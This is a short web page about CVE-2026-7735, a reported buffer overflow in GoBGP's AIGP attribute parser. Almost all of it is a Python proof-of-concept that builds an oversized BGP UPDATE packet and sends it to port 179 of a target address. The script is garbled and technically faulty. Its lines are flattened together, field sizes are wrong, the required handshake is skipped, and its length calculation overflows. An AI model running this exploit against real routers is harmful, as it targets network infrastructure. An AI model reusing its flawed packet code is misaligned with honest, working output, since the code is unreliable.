CVE-2026-7735: GoBGP缓冲区溢出漏洞

import socket import struct # Conceptual PoC for CVE-2026-7735 # This script attempts to trigger the buffer overflow in GoBGP AIGP parser. # Note: Actual exploitation requires specific packet crafting based on the vulnerable parser logic. def create_malicious_bgp_packet(): # BGP Marker (16 bytes) marker = b'\xff' * 16 # BGP Length (2 bytes) - Placeholder length = b'\x00\x00' # BGP Type (2 bytes) - UPDATE Message (2) msg_type = b'\x00\x02' # Construct malicious AIGP Attribute # AIGP Type (2 bytes) = 26 (0x001A) # Length (2 bytes) - Set to a large value to potentially trigger overflow # Data - Padding aigp_type = struct.pack('!H', 26) # Vulnerability likely lies in how Length is handled relative to the buffer aigp_len = struct.pack('!H', 0xFFFF) # Max length aigp_data = b'A' * 0xFFFF # Large payload # Path Attributes (Simplified for PoC context) # Flags (1 byte), Type Code (1 byte), Length (2 bytes), Value flags = 0xC0 # Optional, Transitive path_attr = struct.pack('!B', flags) + aigp_type + aigp_len + aigp_data # Construct full message parts (simplified) payload = msg_type + path_attr # Update Length field total_len = len(marker) + 2 + len(payload) length = struct.pack('!H', total_len) return marker + length + payload def send_exploit(target_ip, target_port=179): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Note: Real BGP handshake is required before sending UPDATE # This PoC demonstrates the packet structure generation packet = create_malicious_bgp_packet() s.send(packet) print(f"[*] Malicious packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[!] Error: {e}") finally: s.close() # Usage (Uncomment to test) # send_exploit("192.168.1.100")